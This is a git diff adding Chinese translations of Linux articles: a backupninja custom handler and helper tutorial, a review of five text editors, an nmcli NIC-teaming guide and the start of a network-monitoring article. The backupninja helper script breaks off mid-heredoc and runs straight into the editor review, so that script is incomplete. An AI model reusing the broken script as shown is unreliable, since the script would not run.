校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://simmesimme.github.io/news/2015/04/18/gnome-pie-061/ +[2]:https://github.com/Simmesimme/Gnome-Pie/issues/73 diff --git a/published/201504/How to create a custom backup plan for Debian with backupninja.md b/published/201504/How to create a custom backup plan for Debian with backupninja.md new file mode 100644 index 0000000000..cfd0237c92 --- /dev/null +++ b/published/201504/How to create a custom backup plan for Debian with backupninja.md @@ -0,0 +1,245 @@ +使用backupninja为Debian定制备份计划 +============ + +backupninja是Debian系统(以及基于Debian的发行版)中一个强大的、高度可配置的备份软件。在[前一篇文章][1]中,我们探讨了如何安装backupninja以及如何设置两个备份操作并执行。然而,那些只是冰山一角。这一次,我们要讨论如何定制 Handler 和 Helper ,使用这些功能定制策略以完成任何备份需要。 + +###回顾 backupninja + +backupninja的一个独特的地方是它可以完全抛弃/etc/backup.d中的纯文本配置文件和操作文件,软件自己会搞定。另外,我们可以编写自定义脚本(又叫 “handler”)放在/usr/share/backupninja 目录下来完成不同类型的备份操作。此外,可以通过ninjahelper的基于ncurses的交互式菜单(又叫“helper”)来指导我们创建一些配置文件,使得人工错误降到最低。 + +###创建定制的Handler与Helper + +这一节的目标是创建一个脚本,将home目录以**gzip**或**bzip2**压缩包的形式备份起来,不包括音乐与视频文件。我们将这个文件命名为home,将它放在/usr/backup/ninja目录下。 + +尽管你可以使用默认的tar handler(参考 /usr/share/backupninja/tar 与 /usr/share/backupninja/tar.helper)来达到这个效果,但是我们使用这种方法来展示如何创建实用的 handler 脚本与基于 ncurses 的 helper。你可以根据你的需求来决定如何运用这里的方法。 + +由于 handlers 来源于主脚本,所以无需以#!/bin/bash开始的释伴行(shebang line)。 + +我们编写的 handler (/usr/share/backupninja/home)如下所示。已经详细注释了。getconf 函数用来读取备份操作的配置文件。如果你指定了一个变量的值,那么它会覆盖配置文件中对应变量的值: + + #/home 目录 handler 脚本 + + # 每个备份文件会通过 FQDN 来鉴别主机 + getconf backupname + + # 备份文件的保存目录 + getconf backupdir + + # 默认压缩 + getconf compress + + # 包含 /home 目录 + getconf includes + + #不包含 *.mp3 与 *.mp4 文件 + getconf excludes + + # 要打包备份文件的默认扩展名 + getconf EXTENSION + + # tar 程序的绝对路径 + getconf TAR `which tar` + + # date 程序的绝对路径 + getconf DATE `which date` + + # 日期格式 + DATEFORMAT="%Y-%m-%d" + + # 如果备份目录不存在,以致命错误退出 + if [ ! -d "$backupdir" ] + then + mkdir -p "$backupdir" || fatal "Can not make directory $backupdir" + fi + + # 如果备份目录不可写,同样以致命错误退出 + if [ ! -w "$backupdir" ] + then + fatal "Directory $backupdir is not writable" + fi + + # 根据压缩格式选择对应的tar选项 + case $compress in + "gzip") + compress_option="-z" + EXTENSION="tar.gz" + ;; + "bzip") + compress_option="-j" + EXTENSION="tar.bz2" + ;; + "none") + compress_option="" + ;; + *) + warning "Unknown compress filter ($tar_compress)" + compress_option="" + EXTENSION="tar.gz" + ;; + esac + + # 不包含一些文件类型/目录 + exclude_options="" + for i in $excludes + do + exclude_options="$exclude_options --exclude $i" + done + + # 调试信息,执行备份操作 + debug "Running backup: " $TAR -c -p -v $compress_option $exclude_options \ + -f "$backupdir/$backupname-"`$DATE "+$DATEFORMAT"`".$EXTENSION" \ + $includes + + # 将标准输出重定向到以.list为扩展的文件 + # 将标准错误输出重定向到以.err为扩展的文件 + $TAR -c -p -v $compress_option $exclude_options \ + -f "$backupdir/$backupname-"`$DATE "+$DATEFORMAT"`".$EXTENSION" \ + $includes \ + > "$backupdir/$backupname-"`$DATE "+$DATEFORMAT"`.list \ + 2> "$backupdir/$backupname-"`$DATE "+$DATEFORMAT"`.err + + [ $? -ne 0 ] && fatal "Tar backup failed" + +接下来我们将要创建helper文件(/usr/share/backupninja/home.helper)。这样,hendlers将会以菜单的形式在**ninjahelper**中显示: + + # 备份操作描述,以下划线分割单词 + HELPERS="$HELPERS home:backup_of_home_directories" + + home_wizard() { + home_title="Home action wizard" + + backupname=`hostname --fqdn` + + # 指定备份操作的时间 + inputBox "$home_title" "When to run this action?" "everyday at 01" + [ $? = 1 ] && return + home_when_run="when = $REPLY" + + # 指定备份文件名 + inputBox "$home_title" "\"Name\" of backups" "$backupname" + [ $? = 1 ] && return + home_backupname="backupname = $REPLY" + backupname="$REPLY" + + # 指定保存备份文件的默认路径 + inputBox "$home_title" "Directory where to store the backups" "/var/backups/home" + [ $? = 1 ] && return + home_backupdir="backupdir = $REPLY" + + # 指定复选框的默认值 + radioBox "$home_title" "Compression" \ + "none" "No compression" off \ + "gzip" "Compress with gzip" on \ + "bzip" "Compress with bzip" off + [ $? = 1 ] && return; + result="$REPLY" + home_compress="compress = $REPLY " + + REPLY= + while [ -z "$REPLY" ]; do + formBegin "$home_title: Includes" + formItem "Include:" /home/gacanepa + formDisplay + [ $? = 0 ] || return 1 + home_includes="includes = " + for i in $REPLY; do + [ -n "$i" ] && home_includes="$home_includes $i" + done + done + + REPLY= + while [ -z "$REPLY" ]; do + formBegin "$home_title: Excludes" + formItem "Exclude:" *.mp3 + formItem "Exclude:" *.mp4 + # 按需增加多个“Exclude”文本框指定其他不须包含的内容 + formItem "Exclude:" + formItem "Exclude:" + formDisplay + [ $? = 0 ] || return 1 + home_excludes="excludes = " + for i in $REPLY; do + [ -n "$i" ] && home_excludes="$home_excludes $i" + done + done + + # 保存配置 + get_next_filename $configdirectory/10.home + cat > $next_filename < Mayank Sharma 测试了5款不仅仅是能处理文字的超强文本编辑器。 + +如果你使用Linux已经有很长一段时间,你知道,不管是编辑一款app的配置文件,还是修改shell脚本,或者编写/查看代码,类似LibreOffice的工具并不适合。尽管字面上看起来都是一样,但是你并不需要一个文字处理器来完成这些任务;你需要的是一个文本编辑器。 + +在这个测评中,我们将着眼于5款更能胜任繁重文本工作的轻量级的文本编辑器。他们支持语法高亮,像拼写检查一样轻松处理代码缩进。你可以像你复制/粘贴文本那样容易地使用它们记录宏以及管理代码片段。 + +得益于它们的插件,使得它们足以抗衡其它的以文本为中心的应用程序,一些简单的文本编辑器甚至超出了它们的设计目标。它们能胜任一个源代码编辑器的任务,甚至就是一个集成开发环境。 + +Emacs和Vim是两款最流行和强大的纯文本编辑器。但是,由于一些原因,我们在这个测评中并没有包括它们。首先,如果你使用它们中的任何一个,那么恭喜你:你不需要更换了。其次,它们都有陡峭的学习曲线,尤其是那些熟悉了桌面环境的用户:他们很更愿意投入其他有图形界面的文本编辑器。 + +### 目录: ### + +#### Gedit #### + +- URL:http://projects.gnome.org/gedit/ +- 版本: 3.10 +- 许可证: GPL +- Gnome的默认文本编辑器准备好挑战了吗? + +#### Kate #### + +- URL: www.kate-editor.org +- 版本: 3.11 +- 许可证: LGPL/GPL +- Kate会挑战命运吗? + +#### Sublime Text #### + +- URL: www.sublimetext.com +- 版本: 2.0.2 +- 许可证: Proprietary +- 在自由的土地上的带有黄金般的心脏的专利软件。 + +#### UltraEdit #### + +- URL: www.ultraedit.com +- 版本: 4.1.0.4 +- 许可证: Proprietary +- 足够证明它的价值了吗? + +#### jEdit #### + +- URL: www.jedit.org +- 版本: 5.1.0 +- 许可证: GPL +- 基于Java的编辑器是否会毁掉其他编辑器的世界? + + +### 关键标准 ### + +除了Gedit和jEdit以外的所有工具,都是通过其推荐的安装方法安装在Fedora和Ubuntu上。前者已经兼容默认的Gnome桌面,后者仍然固执地反对安装在Fedora上。由于这些是相对简单的应用程序,他们没有复杂的依赖,唯一例外的是jEdit,它要求要有Oracle Java。 + +得益于Gnome和KDE持续的努力,所有编辑器无论在哪个桌面上的外观看起来很好,功能也很正常。这不仅是作为评价的标准,也意味着你不再受制于你的桌面环境兼容的工具。 + +除了它们独特的功能,我们也对所有候选者测试了常规的文本编辑功能。然而,它们并没有被设计为模仿现代字处理器的所有功能,我们也不以此评判。 + + +### 编程语言支持 ### + +UltraEdit 能进行语法高亮、代码折叠以及拥有项目管理的能力。也有一个罗列源文件中所有函数的功能列表,但并不适用于我们测试的任何代码文件。UltraEdit也支持HTML5,有一个能添加常用HTML标记的HTML工具栏。 + +即使Gnome的默认文本编辑器Gedit,也有几个面向编码的功能特性,例如括号匹配、自动缩进以及为包括C, C++, Java, HTML, XML, Python, Perl, 以及许多其它编程语言进行语法高亮。 + +如果你需要更多的编程辅助功能,看一下Sublime和Kate。 + +Sublime支持多种编程语言并且能为(那些流行的)C#, D, Dylan, Erlang, Groovy, Haskell, Lisp, Lua, MATLAB, OCaml, R, 甚至 SQL 进行语法高亮。如果这还不够,你可以下载插件以支持更多的语言。另外,它的语法高亮功能提供了多个可定制选项。这个应用程序也会进行括号匹配,确保代码段都正确,Sublime的自动补全功能也支持用户创建的变量。就像Komodo IDE,Sublime也可以显示一个全部源代码的滚动预览图,这对于长代码文件导航和在文件中的不同部分跳转很方便。Sublime最好的功能之一就是能在编辑器内部运行特定语言,例如C++, Python, Ruby等的代码,当然假设在你的电脑上安装有编译器以及其它系统工具。省时间而且不用再开终端. + +你也可以用插件在Kate中开启构建系统功能。另外,你可以为GDB调试器添加一个简单的前端。Kate能和Git,Subversion以及Mercurial版本控制系统一起工作,也提供了一些项目管理的功能。除了能为超过180种语言进行语法高亮,它支持所有的这些辅助功能,例如括号匹配,自动补全和自动缩进。它也支持代码折叠,甚至在一个程序中折叠函数。 + +唯一的遗憾的是jEdit,它声称自己是一个程序员的文本编辑器,但它缺少其他的基本功能,例如代码折叠,它甚至不能提示或者补全函数. + +**评分:** + +- Gedit:3/5 +- Kate:5/5 +- Sublime:5/5 +- UltraEdit:3/5 +- jEdit:1/5 + + +### 键盘控制 ### + +高级文本编辑器的用户希望能完全通过键盘控制和操作,一些应用程序甚至支持用户自定义快捷方式的键盘绑定。 + +你可以轻松的使用Gedit的扩展键盘快捷键。可以在编辑文件时通过工具的快捷键调用工具,例如对一个文档进行拼写检查。你可以看到应用程序内部的一系列默认快捷键,但并没有图形化的方式去自定义它们。相似的,在Sublime中自定义键盘绑定,你需要修改它的XML的键盘映射文件。Sublime由于缺少定义键盘快捷键的图形化界面而饱受批评,但长期使用的用户支持当前的基于文件的机制:这给了他们更多的控制能力。 + +UltraEdit为它"一切都可自定义"的座右铭感到自豪,这也包括键盘快捷键。你可以自定义菜单导航的热键,以及定义你自己的访问大量功能的组合键映射。 + +除了完全可自定义的键盘快捷键以外,jEdit也有为Emacs预定义的键映射。Kate在这方面尤其令人映像深刻。它有简单可访问的自定义键绑定窗口。你可以更改默认的键,或者定义替代的键。另外,Kate也有一个能使用户使用Vi键操作Kate的Vi模式。 + +**评分:** + +- Gedit:2/5 +- Kate:5/5 +- Sublime:3/5 +- UltraEdit:4/5 +- jEdit:5/5 + +### 片段和宏 ### + +宏通过自动化重复的步骤帮助你降低花费在编辑和组织数据上的时间,而代码片段通过创建可重用的源代码块为程序员扩展类似的功能。这两者都能节省你的时间。 + +标准的Gedit安装没有这两种功能中的任何一种,但是你可以通过独立的插件启用这些功能。片段插件随Gedit一起发布,但在Gedit内启用宏插件,则需要你手动下载和安装(被称为gedit-macropy,托管在GitHub上)。 + +Kate也同样通过插件的形式启用片段功能。一旦加入,插件也增加了PHP,Bash和Java的片段库。你可以在侧边栏中显示片段列表以便于访问。可以通过右击片段或者快捷键组合方式编辑它的内容。然而,令人惊讶的是,它不支持宏-尽管用户从2002年就不断要求! + +jEdit也有一个启用片段的插件。它还可以从用户行为中记录宏或者你也可以用BeanShell 脚本语言(BeanShell支持像Perl和JavaScript那样将脚本对象封装为简单的方法)中写宏。jEdit也有一个可以从jEdit的网站中下载多种宏的插件。 + +Sublime有创建片段和宏的内建功能,也有为大多数编程语言经常使用的函数多种片段。 + +在UltraEdit中片段被称为智能模板,就像Sublime中一样,你可以根据正在编辑的源代码文件类型插入片段。要完成宏记录功能,UltraEdit还有集成了一个基于JavaScript的脚本语言引擎来完成自动任务。你也可以从该编辑器的网站中下载用户提交的宏和脚本。 + +**评分:** + +- Gedit:3/5 +- Kate:1/5 +- Sublime:5/5 +- UltraEdit:5/5 +- jEdit:5/5 + + +### 易用性 ### + +不像那些简陋的文本编辑器,这些文本编辑器在这方面可以适应从文档写作者到程序员的各种用户的需要。与精简应用程序相反,他们的开发者在寻找添加更多功能的途径。 + +尽管第一眼看上去这次测评中的大部分应用有一个很相似的布局,经过仔细的检查,你会发现一些可用性的差异。我们通过用户界面的合理使用来介绍它们的功能和特性,而不是铺天盖地地告诉读者。 + +#### Gedit: 4/5 #### + +Gedit的外观很普通,它有一个带有很少的菜单和按钮的简单界面。这是一把双刃剑,因为有些用户可能不会发现它真正的潜能。 + +Gedit可以在选项卡中打开多个文件,这些选项卡可以重排和在多个 Gedit窗口之间移动。用户可以选择通过插件来启用侧边栏来浏览文件或者在底部面板显示工具输出内容。这个应用程序会检测到被其它应用程序更改的文件并可以重新加载该文件。 + +为了适配Gnome,在应用程序的最新版本中做了大量的 UI 修改。然而修改还还不稳定,尽管包括了所有的功能,但是菜单交互的一些插件还需要升级。 + +![在展示一个有功能的应用程序和将它们所有的东西曝光给用户之间有一个很好的平衡。Geddit隐藏了它的大部分功能。](http://www.linuxvoice.com/wp-content/uploads/2014/07/gedit-web.png) + +*在功能与界面之间取得了良好的平衡,Gedit将其大部分功能隐藏在背后。* + +#### Kate: 5/5 #### + +尽管用户界面的主要部分和Gedit相似,Kate可以在两边显示选项卡并且它的菜单更加丰富。该应用程序平易近人,吸引用户来挖掘它的其它功能。 + +Kate可以在KDE的KIO支持的所有协议上透明地打开和保存文件,包括通过HTTP, FTP, SSH, SMB 和 WebDAV。你可以用这个应用同时处理多个文件。但不同于大部分应用程序传统的水平选项卡选择栏,Kate在屏幕的两个方向都有选项卡。左侧的侧边栏显示打开的文件列表。需要同时查看一个文件不同部分的程序员也会感激它可以水平或者竖直分隔界面的能力。 + +![Kate能搭建为功能丰富的集成开发环境](http://www.linuxvoice.com/wp-content/uploads/2014/08/kate-web.png) + +*Kate能搭建为功能丰富的集成开发环境。* + +#### Sublime: 5/5 #### + +Sublime支持你在不同方式同时查看多达四个文件。当你在集中精力编程时,它也有一个只显示文件和菜单的全屏无扰模式。 + +这个编辑器还在右边有个缩略地图,这在长文件中导航非常有用。应用程序为多种编程语言提供多种常用函数的片段,这使得它对于开发者非常有用。另一个精巧的功能是,无论你使用都是文本文档或者代码,都可以任意选择和替换。 + +![如果你不喜欢Sublime的Charcoal外观,你可以选择它包含的其它22种主题。](http://www.linuxvoice.com/wp-content/uploads/2014/08/sublime-web.png) + +*如果你不喜欢Sublime的Charcoal外观,你可以选择它包含的其它22种主题。* + +#### UltraEdit: 3/5 #### + +UltraEdit在界面的顶部和底部加载了多种工具栏。加上切换文档的选项卡、两边的面板,以及分隔区域,使得只剩下一点空间给编辑窗口。 + +使用HTML的网络开发者有很多唾手可得的帮助。你可以通过FTP和SFTP访问远程文件。高级功能,例如记录一个宏以及比较文件,也简单易用。 + +使用应用程序的偏好设置窗口,你可以调整应用程序的多个方面,包括颜色主题和类似语法高亮的其它功能。 + +![UltraEdit的用户界面是高度可配置的 — 你可以像改变其它许多方面那样简单的自定义工具栏和菜单的布局。](http://www.linuxvoice.com/wp-content/uploads/2014/08/ultraedit-web.png) + +*UltraEdit的用户界面是高度可配置的 — 你可以像改变其它许多方面那样简单的自定义工具栏和菜单的布局。* + +#### jEdit: 3/5 #### + +在可用性方面,首先一个不好就是jEdit不能在基于RPM的发行版上安装。导航编辑器需要一些时间来适应,因为它的菜单和其它流行的应用程序顺序不同,而且有些普通桌面用户不熟悉的名字。但是,该应用程序有详细的内部帮助,这有利于缓解学习曲线。 + +jEdit会高亮你所在的当前行,并使你能以多种查看方式分隔窗口。你可以简单地从应用程序中安装和管理插件,除了使用完整的宏,jEdit也支持你快速记录一个临时的宏。 + +![由于它的Java基础,jEdit在任何桌面环境中都不能给人宾至如归的感觉](http://www.linuxvoice.com/wp-content/uploads/2014/08/jedit-web.png) + +*由于它的Java基础,jEdit在任何桌面环境中都不能给人宾至如归的感觉* + +### 可用性和支持 ### + +在Gedit和Kate之间有很多相似性。两个应用程序都得益于他们各自的父项目,Gnome和KDE,捆绑在各种主流的发行版中。另外两个项目都是跨平台的,有Windows和Mac OS X版本以及原生的Linux版本。 + +Gedit托管在Gnome的网站上,并有一个简单的用户指南、关于多种插件的信息,以及包括邮件列表和IRC通道在内的常用联系方式。你也可以在其它基于Gnome的发行版,例如Ubuntu中找到使用信息。相似地,Kate得益于KDE的资源,并包括详细的用户信息以及邮件列表和IRC通道。你也可以从应用程序中获取相应的离线用户指南。 + +除了Linux,UltraEdit在Windows和Mac OS X中也可用,虽然在应用程序中并没有包括,但在启动时也有详细的用户指南。为了辅助用户的使用,UltraEdit保存了一个常见问题的数据库,一系列关于多种特定功能的详细介绍,用户还可以在论坛版块彼此帮助。另外,付费用户也可以通过邮件从开发者中获取支持。 + +Sublime支持一样多的平台,但是你需要单独为每种平台购买许可证。开发者通过博客让用户了解正在进行的开发,并积极参加它的论坛。这个项目支持设施的亮点是提供免费的详细教程和视频课程。Sublime非常漂亮。 + +由于jEdit是用java编写的,所以它在多种平台中都可用。在它的网站上你可以找到一个详细的用户指南以及一些插件帮助文档的链接。然而,这里没有能使用户和其他用户或者开发者交流的途径。 + +**评分:** + +- Gedit:4/5 +- Kate:4/5 +- Sublime:5/5 +- UltraEdit:3/5 +- jEdit:2/5 + +### 附加组件和插件 ### + +不同的用户有不同的需求,一个简单的轻量级应用程序只能做到这么多。这就是为什么需要插件的原因。应用程序依赖于这些小部件来扩展它们的功能集并让更多的用户使用。 + +UltraEdit是一个例外。它没有第三方插件,但开发者将例如HtmlTidy这样的第三方工具集成到了UltraEdit。 + +Gedit附带了好多已安装的插件,你可以下载更多的更多gedit插件包。基于和Gedit版本的兼容性,项目网站也有到多个第三方插件的链接。 + +三个对程序员非常有用的插件是:Code Comment、在底部面板增加一个终端的Terminal Plugin以及Session Saver。当你用多个文件开发项目的时候Session Saver相当有用。你可以在选项卡中打开文件,保存会话,你可以用一键恢复,就可以按照你保存时的选项卡顺序打开所有的文件。 + +类似的,你可以通过用内部的插件管理器增加插件来扩展Kate。除了令人映像深刻的项目插件,一些开发者使用的插件包括嵌入式终端,它能编译和调试代码,以及对数据库执行SQL查询。 + +Sublime的插件是用Python写的,文本编辑器包括了一个类似于apt-get,能使用户查找,安装,升级和移除插件包的名为Package Control的工具。通过插件,你可以在Sublime中使用Git版本控制,以及美化JavaScript代码的JSLint工具。Sublime Linter能指出你代码中的错误,是编码人员必备的插件。 + +jEdit拥有最令人印象深刻的插件设施。该应用有超过200个插件,可以在它们自己的专用网站中浏览。网站通过不同的类型列出了插件,例如文件管理,版本控制,文本等。你可以在每个类型下找到很多的插件。 + +一些最好的插件是Android插件,它们提供了和Android项目协同工作的工具;你可以使用TomcatSwitch插件创建和控制外部Jakarta Tomcat服务器进程;以及类似于Vi功能的Vimulator插件。你可以通过使用jEdit的插件管理器安装这些插件。 + +**评分:** + +- Gedit:3/5 +- Kate:4/5 +- Sublime:4/5 +- UltraEdit:1/5 +- jEdit:5/5 + +### 纯文本编辑 ### + +尽管它们强大的额外功能甚至可能会取代几种完全成熟的应用程序,有时候可能只需要使用这些庞大的文本编辑器读、写或者编辑简单的纯文本。虽然你可以使用它们中的任何一个输入文本,我们通过普通文本编辑的方便性评价它们。 + +Gnome的默认文本编辑器Gedit,支持取消和重做机制以及搜索和替换。它可以对多种语言进行拼写检查,并能通过使用Gnome GVFS库访问和编辑远程文件。 + +你也可以使用Kate进行拼写检查,它也可以让你对任何高亮文本进行Google搜索。它还有一个能可视化告知用户文件中更改过但没有保存的行的行修改系统。另外,它通过允许用户在文件中使用书签简化长文档的导航。 + +Sublime有很多可选择的编辑命令,例如缩进文本和格式化段落。它的自动保存功能帮助防止用户丢失他们的更改。高级用户还会喜欢基于正则表达式的递归查找和替换功能,以及选择多个不连续的文本块并执行统一操作。 + +UltraEdit也允许用户在查找和替换功能中使用正则表达式,并能通过FTP编辑远程文件。 + +JEdit一个独特的功能是它支持被称为寄存器的不限数目的剪切板。你可以复制文本片段到这些寄存器中,在编辑会话过程中都可用。 + +**评分:** + +- Gedit:4/5 +- Kate:5/5 +- Sublime:5/5 +- UltraEdit:4/5 +- jEdit:4/5 + +### 我们的评比 ### + +在这里的所有编辑器都足以替换你已有的文本编辑器,来编辑文本和调整配置文件。事实上,没准它们会组合起来作为你的集成开发环境。这些应用程序都有各种各样功能,它们的开发者不会考虑剥离功能,而是增加越来越多的功能。 + +jEdit排在这次测试的最后面。因为它不仅坚持使用专有的Oracle Java运行时环境,不能在你的Fedora机器上安装,而且开发者并不积极和用户交互。 + +UltraEdit做的稍微好一点。这个商业专用工具专注于网络开发者,不为非开发者的高级用户提供任何功能,使得它不值得推荐为免费软件的替代品。 + +排在第三的是Gedit。作为Gnome的默认编辑器,它没有任何内在的问题,但尽管有很多积极的方面,它还是略微被Sublime和Kate超越。开诚布公地说,Kate是比Gedit更通用的编辑器,甚至考虑到他们的插件系统,评分也优于Gnome的默认编辑器。 + +Sublime和Kate都相当好。他们在我们的大多数测试中表现同样出色。Kate由于不支持宏而落后于Sublime,但键盘友好和能简单定义自定义键绑定又使Kate找回优势。 + +Kate成功的原因可以归结为它通过最小化学习曲线提供了最大化的功能。尽管使用它吧,不仅作为简单文本编辑器使用,或者容易使用语法高亮编辑配置文件,甚至得益于其项目管理能力能使用它协作一个复杂的编程项目。 + +我们不是选择Kate去替换一个类似“[XX,在这里插入你最喜欢的专业工具]”的全面的集成开发环境。但是它是一个专业工具理想的、全面的、以及完美的垫脚石。 + +Kate为能快速响应你的需要而设计,它的界面并不会使你茫然,并且和那些过于复杂的应用一样的有用。 + +### 1st Kate ### + +- Licence LGPL/GPL Version 3.11 +- www.kate-editor.org +- 拥有超能力,态度温和的文本编辑器。 +- Kate是KDE项目中最有用的应用程序之一。 + +### 2nd Sublime Text ### + +- Licence 专利 Version 2.0.2 +- www.sublimetext.com +- 值得你每分钱的专业文本编辑器 - 简单易用,功能全面而且看起来很棒。 + +### 3rd Gedit ### + +- Licence GPL Version 3.10 +- http://projects.gnome.org/gedit +- 在Gnome中就用它吧。这是一个奇妙的文本编辑器,确实令人钦佩的工作,但这里的竞争实在太大了。 + +### 4th UltraEdit ### + +- Licence Proprietary Version 4.1.0.4 +- www.ultraedit.com +- 关注于为网络开发者提供各种便利,而不为普通用户提供任何特殊功能。 + +### 5th jEdit ### + +- Licence GPL Version 5.1.0 +- www.jedit.org +- 缺乏支持,不支持Fedora,缺乏好看的界面,jEdit被贬低到最后。 + +### 你也许希望尝试… ### + +随你发行版发布的默认文本编辑器也能帮助你一些高级任务。例如KDE的KWrite和Raspbian的Nano。得益于KDE的katepart组件,KWrite继承了一些Kate的功能,得益于在树莓派上的可用性,Nano也开始重现风头。 + +如果你希望跟随Linux大师的脚步,你总是可以尝试高大上的文本编辑器Emacs和Vim。想尝试Vim强大的用户首先可以考虑gVim,它通过图形界面展现了Vim的强大。 + +除了jEdit和Kate,这里还有其他模仿Emacs和Vim之类的旧式高级编辑器的编辑器,比如JED 编辑器和Joe's Own Editor,这两者都有Emacs的模拟模式。另一方面,如果你在寻找轻量级的代码编辑器,可以看看Bluefish和Geany。他们的存在是为了填补文本编辑器和全面集成的开发平台之间的空隙。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxvoice.com/text-editors/ + +作者:[Ben Everard][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[royaso](https://github.com/royaso),[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxvoice.com/author/ben_everard/ diff --git a/published/201505/20150108 Interface (NICs) Bonding in Linux using nmcli.md b/published/201505/20150108 Interface (NICs) Bonding in Linux using nmcli.md new file mode 100644 index 0000000000..fa8297599b --- /dev/null +++ b/published/201505/20150108 Interface (NICs) Bonding in Linux using nmcli.md @@ -0,0 +1,136 @@ +在 Linux 中用 nmcli 命令绑定多块网卡 +================================================================================ +今天,我们来学习一下在 CentOS 7.x 中如何用 nmcli(Network Manager Command Line Interface:网络管理命令行接口)进行网卡绑定。 + +网卡(接口)绑定是将多块 **网卡** 逻辑地连接到一起从而允许故障转移或者提高吞吐率的方法。提高服务器网络可用性的一个方式是使用多个网卡。Linux 绑定驱动程序提供了一种将多个网卡聚合到一个逻辑的绑定接口的方法。这是个新的实现绑定的方法,并不影响 linux 内核中旧绑定驱动。 + +**网卡绑定为我们提供了两个主要的好处:** + +1. **高带宽** +1. **冗余/弹性** + +现在让我们在 CentOS 7 上配置网卡绑定吧。我们需要决定选取哪些接口配置成一个组接口(Team interface)。 + +运行 **ip link** 命令查看系统中可用的接口。 + + $ ip link + +![ip link](http://blog.linoxide.com/wp-content/uploads/2015/01/ip-link.png) + +这里我们使用 **eno16777736** 和 **eno33554960** 网卡在 “主动备份” 模式下创建一个组接口。(译者注:关于不同模式可以参考:多网卡的7种bond模式原理) + +按照下面的语法,用 **nmcli** 命令为网络组接口创建一个连接。 + + # nmcli con add type team con-name CNAME ifname INAME [config JSON] + +**CNAME** 指代连接的名称,**INAME** 是接口名称,**JSON** (JavaScript Object Notation) 指定所使用的处理器(runner)。**JSON** 语法格式如下: + + '{"runner":{"name":"METHOD"}}' + +**METHOD** 是以下的其中一个:**broadcast、activebackup、roundrobin、loadbalance** 或者 **lacp**。 + +### 1. 创建组接口 ### + +现在让我们来创建组接口。这是我们创建组接口所使用的命令。 + + # nmcli con add type team con-name team0 ifname team0 config '{"runner":{"name":"activebackup"}}' + +![nmcli con create](http://blog.linoxide.com/wp-content/uploads/2015/01/nmcli-con-create.png) + +运行 **# nmcli con show** 命令验证组接口配置。 + + # nmcli con show + +![显示组接口](http://blog.linoxide.com/wp-content/uploads/2015/01/show-team-interface.png) + +### 2. 添加从设备 ### + +现在让我们添加从设备到主设备 team0。这是添加从设备的语法: + + # nmcli con add type team-slave con-name CNAME ifname INAME master TEAM + +在这里我们添加 **eno16777736** 和 **eno33554960** 作为 **team0** 接口的从设备。 + + # nmcli con add type team-slave con-name team0-port1 ifname eno16777736 master team0 + + # nmcli con add type team-slave con-name team0-port2 ifname eno33554960 master team0 + +![添加从设备到 team](http://blog.linoxide.com/wp-content/uploads/2015/01/adding-to-team.png) + +再次用命令 **#nmcli con show** 验证连接配置。现在我们可以看到从设备配置信息。 + + #nmcli con show + +![显示从设备配置](http://blog.linoxide.com/wp-content/uploads/2015/01/show-slave-config.png) + +### 3. 分配 IP 地址 ### + +上面的命令会在 **/etc/sysconfig/network-scripts/** 目录下创建需要的配置文件。 + +现在让我们为 team0 接口分配一个 IP 地址并启用这个连接。这是进行 IP 分配的命令。 + + # nmcli con mod team0 ipv4.addresses "192.168.1.24/24 192.168.1.1" + # nmcli con mod team0 ipv4.method manual + # nmcli con up team0 + +![分配 ip](http://blog.linoxide.com/wp-content/uploads/2015/01/ip-assignment.png) + +### 4. 验证绑定 ### + +用 **#ip add show team0** 命令验证 IP 地址信息。 + + #ip add show team0 + +![验证 ip 地址](http://blog.linoxide.com/wp-content/uploads/2015/01/verfiy-ip-adress.png) + +现在用 **teamdctl** 命令检查 **主动备份** 配置功能。 + + # teamdctl team0 state + +![teamdctl 检查主动备份](http://blog.linoxide.com/wp-content/uploads/2015/01/teamdctl-activebackup-check.png) + +现在让我们把激活的端口断开连接并再次检查状态来确认主动备份配置是否像希望的那样工作。 + + # nmcli dev dis eno33554960 + +![断开激活端口连接](http://blog.linoxide.com/wp-content/uploads/2015/01/disconnect-activeport.png) + +断开激活端口后再次用命令 **#teamdctl team0 state** 检查状态。 + + # teamdctl team0 state + +![teamdctl 检查断开激活端口连接](http://blog.linoxide.com/wp-content/uploads/2015/01/teamdctl-check-activeport-disconnect.png) + +是的,它运行良好!!我们会使用下面的命令连接回到 team0 的断开的连接。 + + #nmcli dev con eno33554960 + +![nmcli dev 连接断开的连接](http://blog.linoxide.com/wp-content/uploads/2015/01/nmcli-dev-connect-disconected.png) + +我们还有一个 **teamnl** 命令可以显示 **teamnl** 命令的一些选项。 + +用下面的命令检查在 team0 运行的端口。 + + # teamnl team0 ports + +![teamnl 检查端口](http://blog.linoxide.com/wp-content/uploads/2015/01/teamnl-check-ports.png) + +显示 **team0** 当前活动的端口。 + + # teamnl team0 getoption activeport + +![显示 team0 活动端口](http://blog.linoxide.com/wp-content/uploads/2015/01/display-active-port-team0.png) + +好了,我们已经成功地配置了网卡绑定 :-) ,如果有任何反馈,请告诉我们。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/interface-nics-bonding-linux/ + +作者:[Arun Pyasi][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ \ No newline at end of file diff --git a/published/201505/20150112 What are useful command-line network monitors on Linux.md b/published/201505/20150112 What are useful command-line network monitors on Linux.md new file mode 100644 index 0000000000..25d7910ec7 --- /dev/null +++ b/published/201505/20150112 What are useful command-line network monitors on Linux.md @@ -0,0 +1,136 @@ +又一波你可能不知道的 Linux 命令行网络监控工具 +=============================================================================== + +对任何规模的业务来说,网络监控工具都是一个重要的功能。网络监控的目标可能千差万别。比如,监控活动的目标可以是保证长期的网络服务、安全保护、对性能进行排查、网络使用统计等。由于它的目标不同,网络监控器使用很多不同的方式来完成任务。比如对包层面的嗅探,对数据流层面的统计数据,向网络中注入探测的流量,分析服务器日志等。 + 